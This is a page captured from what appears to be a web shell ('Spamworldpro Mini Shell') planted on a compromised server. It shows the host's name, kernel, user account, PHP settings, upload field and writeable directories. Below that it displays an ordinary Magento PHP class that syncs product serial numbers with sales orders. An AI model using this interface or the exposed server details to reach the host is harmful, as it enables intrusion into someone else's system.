Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/app/code/Cnc/SerialNumber/Model/Order/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/app/code/Cnc/SerialNumber/Model/Order/Processor.php
<?php
/**
 * @license http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
 * @author Radosław Łańcucki <[email protected]>
 * @copyright Copyright (c) 2022 Kaliop Digital Commerce (https://digitalcommerce.kaliop.com)
 */
declare(strict_types=1);

namespace Cnc\SerialNumber\Model\Order;

use Magento\Framework\App\ResourceConnection;

class Processor
{
    private const BATCH_SIZE = 5000;

    /**
     * @var ResourceConnection
     */
    private $resourceConnection;

    /**
     * @param ResourceConnection $resourceConnection
     */
    public function __construct(ResourceConnection $resourceConnection)
    {
        $this->resourceConnection = $resourceConnection;
    }

    /**
     * @param bool $isDryRun
     * @return int
     */
    public function process(bool $isDryRun): int
    {
        $processedOrders = 0;

        foreach ($this->getOrders() as $entityId => $order) {
            $processedOrders += $this->processOrder($order, $isDryRun);
        }

        return $processedOrders;
    }

    /**
     * @param array $order
     * @param bool $isDryRun
     * @return int
     */
    private function processOrder(array $order, bool $isDryRun): int
    {
        $data = [];

        foreach ($order as $orderItem) {
            $sku = $orderItem['sku'];
            if (!isset($orderItem['product_options']['cnc_options']['serial_number'])) {
                continue;
            }

            foreach ($orderItem['product_options']['cnc_options']['serial_number'] as $statusCode => $serialNumber) {
                $serialNumbers = array_filter(explode(',', $serialNumber));

                if (empty($serialNumbers)) {
                    continue;
                }

                if (!isset($data[$sku])) {
                    $data[$sku] = [
                        'serial_numbers' => [],
                        'increment_id' => $orderItem['increment_id'],
                        'created_at' => $orderItem['created_at']
                    ];
                }

                foreach ($serialNumbers as $serial) {
                    if (!empty($serial)) {
                        $data[$sku]['serial_numbers'][$statusCode][] = $serial;
                    }
                }
            }
        }

        $connection = $this->resourceConnection->getConnection();
        $toSync = [];
        foreach ($data as $sku => $record) {
            $serialNumbers = $record['serial_numbers'];
            $incrementId = $record['increment_id'];
            $createdAt = $record['created_at'];

            foreach ($serialNumbers as $statusCode => $serialNumber) {
                $select = $connection->select()
                    ->from(
                        $connection->getTableName('cnc_serial_number'),
                        ['serial_number']
                    )
                    ->where('serial_number IN (?)', $serialNumbers)
                    ->where('sku = ?', $sku)
                    ->where('status = ?', $statusCode);

                //Look only for existing Serial Numbers
                $currentSerialNumbers = array_keys($connection->fetchAssoc($select));

                foreach ($currentSerialNumbers as $serial) {
                    $toSync[] = [
                        'bind' => [
                            'order_increment_id' => $incrementId,
                            'order_created_at' => $createdAt
                        ],
                        'where' => [
                            'serial_number = ?' => $serial,
                            'sku = ?' => $sku,
                            'status = ?' => $statusCode
                        ]
                    ];
                }
            }
        }

        if (!empty($toSync) && !$isDryRun) {
            $this->syncOrder($toSync);
        }

        return (int)!empty($toSync);
    }

    /**
     * @param array $data
     * @return void
     */
    private function syncOrder(array $data): void
    {
        foreach ($data as $update) {
            $connection = $this->resourceConnection->getConnection();
            $connection->update(
                $connection->getTableName('cnc_serial_number'),
                $update['bind'],
                $update['where']
            );
        }
    }

    /**
     * @return array
     */
    private function getOrders(): array
    {
        $orders = [];

        $connection = $this->resourceConnection->getConnection();
        $select = $connection->select()
            ->from(
                ['so' => $connection->getTableName('sales_order')],
                ['entity_id', 'increment_id', 'created_at']
            )
            ->joinLeft(
                ['soi' => $connection->getTableName('sales_order_item')],
                'so.entity_id = soi.order_id',
                ['sku', 'product_options']
            )
            ->order('so.entity_id ASC');

        foreach ($connection->fetchAll($select) as $orderItem) {
            $id = $orderItem['entity_id'];

            if (!isset($orders[$id])) {
                $orders[$id] = [];
            }

            if (isset($orderItem['product_options'])) {
                $productOptions = json_decode($orderItem['product_options'], true);
                $orderItem['product_options'] = $productOptions ?: [];
            }

            $orders[$id][] = $orderItem;
        }

        return $orders;
    }
}

Spamworldpro Mini